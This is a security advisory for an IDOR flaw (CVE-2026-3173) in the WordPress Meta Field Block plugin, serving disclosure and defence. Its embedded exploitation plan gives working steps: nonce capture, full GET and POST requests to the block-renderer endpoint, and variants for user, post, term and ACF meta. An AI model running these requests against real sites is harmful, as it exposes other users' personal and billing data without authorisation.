Meta Field Block <= 1.5.1 - Insecure Direct Object Reference to Authenticated (Contributor+) Arbitrary User Meta Exposure
Description
The Meta Field Block plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 1.5.1. This is due to the plugin allowing users to specify arbitrary object IDs and object types via block attributes without validating whether the authenticated user has permission to access the requested object's metadata. This makes it possible for authenticated attackers, with Contributor-level access and above, to read arbitrary user meta, post meta, and term meta data from any object in the database. On sites using plugins that store sensitive data in meta fields (e.g., WooCommerce billing/shipping information), this could lead to the exposure of Personally Identifiable Information (PII) including names, email addresses, phone numbers, and physical addresses.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=1.5.1What Changed in the Fix
Changes introduced in v1.5.2
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-3173 (Meta Field Block IDOR) ## 1. Vulnerability Summary The **Meta Field Block** plugin (versions <= 1.5.1) contains an Insecure Direct Object Reference (IDOR) vulnerability. The plugin registers a Gutenberg block (`mfb/meta-field-block`) that renders metadat…
Show full research plan
Exploitation Research Plan: CVE-2026-3173 (Meta Field Block IDOR)
1. Vulnerability Summary
The Meta Field Block plugin (versions <= 1.5.1) contains an Insecure Direct Object Reference (IDOR) vulnerability. The plugin registers a Gutenberg block (mfb/meta-field-block) that renders metadata from posts, terms, or users. The server-side rendering logic for this block accepts objectId and objectType as attributes but fails to perform capability checks to ensure the current user is authorized to view the metadata of the requested object.
Consequently, any authenticated user with access to the block editor (Contributor level and above) can exploit the block-renderer REST API endpoint to retrieve sensitive metadata (PII, session info, or configuration) belonging to any user, post, or term by manipulating the block attributes.
2. Attack Vector Analysis
- Endpoint:
/wp-json/wp/v2/block-renderer/mfb/meta-field-block - Method:
GETorPOST(typicallyGETfor the block renderer) - Vulnerable Parameter:
attributes(specificallyobjectId,objectType, andfieldNamewithin the JSON-encoded attributes). - Authentication: Required (Contributor+). Any user with
edit_postscapability can access the Gutenberg editor and trigger the block renderer. - Preconditions: The attacker must have a valid login session as a Contributor or higher.
3. Code Flow
- Entry Point: The block is registered with a
render_callback(standard for dynamic blocks). - REST API Trigger: In the Gutenberg editor, when a block is inserted or modified, the editor requests a preview from the WordPress REST API endpoint
/wp-json/wp/v2/block-renderer/mfb/meta-field-block. - Data Retrieval (Sink):
- The plugin's rendering logic (likely in a class like
StandardFieldsorACFFields) extracts attributes from the request. ACFFields::get_block_content(inincludes/acf-fields.php) callsget_field_value.ACFFields::get_object_id_with_type(inincludes/acf-fields.php) processes theobject_idandobject_type.- Functions like
get_user_meta($object_id, $field_name, true)orget_field_object()(ACF) are called using the user-providedobject_idandobject_type.
- The plugin's rendering logic (likely in a class like
- Missing Check: There is no call to
current_user_can( 'edit_user', $object_id )or similar authorization checks before fetching and returning the meta value.
4. Nonce Acquisition Strategy
The /wp-json/wp/v2/block-renderer endpoint requires a valid REST API nonce (_wpnonce).
- Create Page: Create a dummy post/page as the Contributor user to access the editor.
wp post create --post_type=post --post_status=draft --post_author=[CONTRIBUTOR_ID] --post_title="Exploit Page" - Navigate to Editor: Use
browser_navigateto open the edit screen for that post (e.g.,/wp-admin/post.php?post=[POST_ID]&action=edit). - Extract Nonce: Use
browser_evalto extract the REST nonce from thewpApiSettingsobject globally available in the admin dashboard.// JavaScript to run via browser_eval window.wpApiSettings.nonce - Identify Block Name: Verifying from
build/index.js, the block name is verbatimmfb/meta-field-block.
5. Exploitation Strategy
The goal is to read the first_name and nickname (and potentially WooCommerce PII if installed) of the Administrator (User ID 1).
Step-by-Step Plan:
- Setup: Create an Administrator and a Contributor. Add sensitive meta to the Administrator.
- Authentication: Log in to the WordPress dashboard as the Contributor.
- Nonce Capture: Navigate to a post editor page and capture the
_wpnonce. - Request Payload: Construct a request to the
block-rendererendpoint.- URL:
/wp-json/wp/v2/block-renderer/mfb/meta-field-block - Query Params:
context:editattributes[fieldName]:first_name(or any target meta key)attributes[objectType]:userattributes[objectId]:1(Admin ID)_wpnonce:[CAPTURED_NONCE]
- URL:
Example HTTP Request (using http_request tool):
GET /wp-json/wp/v2/block-renderer/mfb/meta-field-block?context=edit&attributes%5BfieldName%5D=first_name&attributes%5BobjectType%5D=user&attributes%5BobjectId%5D=1&_wpnonce=[NONCE] HTTP/1.1
Host: localhost:8080
Cookie: [CONTRIBUTOR_COOKIES]
6. Test Data Setup
- Target User: Create an Administrator user (ID 1) and set a specific
first_nameandnickname.wp user create admin_victim victim@example.com --role=administrator --user_pass=password wp user update 1 --first_name="TopSecretName" --nickname="ShadowAdmin" - Attacker User: Create a Contributor user.
wp user create attacker attacker@example.com --role=contributor --user_pass=password - Sensitive Meta (Optional/WooCommerce Simulation):
wp user meta update 1 billing_phone "555-0199" wp user meta update 1 billing_address_1 "123 Secure St"
7. Expected Results
The REST API response will be a JSON object. The rendered property will contain the HTML markup of the block, which includes the raw value of the metadata.
Example Response:
{
"rendered": "<div class=\"wp-block-mfb-meta-field-block mfb-meta-field-block\">TopSecretName<\/div>"
}
If the attacker retrieves TopSecretName, the IDOR is confirmed.
8. Verification Steps
- Verify Value via CLI: Check the actual database value to ensure the response matches.
wp user meta get 1 first_name - Check Response Content: Ensure the
renderedstring in the JSON response contains the valueTopSecretName.
9. Alternative Approaches
- ACF Integration: If Advanced Custom Fields is active, the payload can target ACF fields by adding
attributes[fieldType]=acf. - Term Meta: Target term metadata by setting
attributes[objectType]=termandattributes[objectId]=[TERM_ID]. - Post Meta: Target private post metadata by setting
attributes[objectType]=postandattributes[objectId]=[PRIVATE_POST_ID]. - POST Request: Some environments may block long GET queries; the
block-rendereralso acceptsPOSTwithattributesin the body.# Alternative POST request body action=post&attributes={"fieldName":"first_name","objectType":"user","objectId":1}&_wpnonce=[NONCE]
Summary
The Meta Field Block plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) due to missing authorization checks in its block-rendering logic. Authenticated attackers with Contributor-level access or higher can manipulate block attributes to retrieve sensitive metadata—including PII and WooCommerce billing data—belonging to any user, post, or term via the REST API.
Vulnerable Code
// includes/acf-fields.php:125 public function get_field_value( $field_name, $object_id, $object_type, $attributes, $block ) { // Get the id with object type. $object_id_with_type = $this->get_object_id_with_type( $object_id, $object_type, $field_name ); $field_object = get_field_object( $field_name, $object_id_with_type, false, true ); --- // includes/acf-fields.php:196 public function get_object_id_with_type( $object_id, $object_type, $field_name ) { if ( ! in_array( $object_type, [ 'post', 'term', 'user' ], true ) ) { $object_id_with_type = $object_type; } else { $object_id_with_type = in_array( $object_type, [ 'term', 'user' ], true ) ? $object_type . '_' . $object_id : $object_id; } return $object_id_with_type; }
Security Fix
@@ -1 +1 @@ -<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-url'), 'version' => '36cc2016b786f5649e4e'); +<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-url'), 'version' => '29fad5dde1a6b9f7cddd'); @@ -1 +1 @@ -(()=>{"use strict";var e,t={437:(e,t,i)=>{const a=window.wp.blocks,n=window.wp.hooks;(0,n.addFilter)("blockEditor.useSetting.before","MFB/blockEditor.useSetting.before",(e,t,i,a)=>"mfb/meta-field-block"!==a?e:!!["color.text","color.background","color.link"].includes(t)||e); ... (truncated)
Exploit Outline
The exploit targets the WordPress block-renderer REST API endpoint, which is used to preview dynamic blocks. 1. Authentication: The attacker logs in as a Contributor user, which provides the necessary permissions to access the block editor and the REST API. 2. Nonce Acquisition: The attacker creates a draft post and inspects the global `wpApiSettings` object in the browser console to retrieve a valid REST API nonce (`_wpnonce`). 3. Request Construction: The attacker sends a request to `/wp-json/wp/v2/block-renderer/mfb/meta-field-block` using either GET or POST. 4. Payload Manipulation: The attacker provides a target `objectId` (e.g., a User ID), `objectType` (e.g., 'user'), and the sensitive `fieldName` (e.g., 'billing_phone' or 'nickname') within the `attributes` parameter. 5. Execution: Because the plugin lacks authorization checks (such as `current_user_can`) before fetching metadata for the specified ID, the REST API returns the value of the requested field inside the 'rendered' HTML string in the JSON response.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.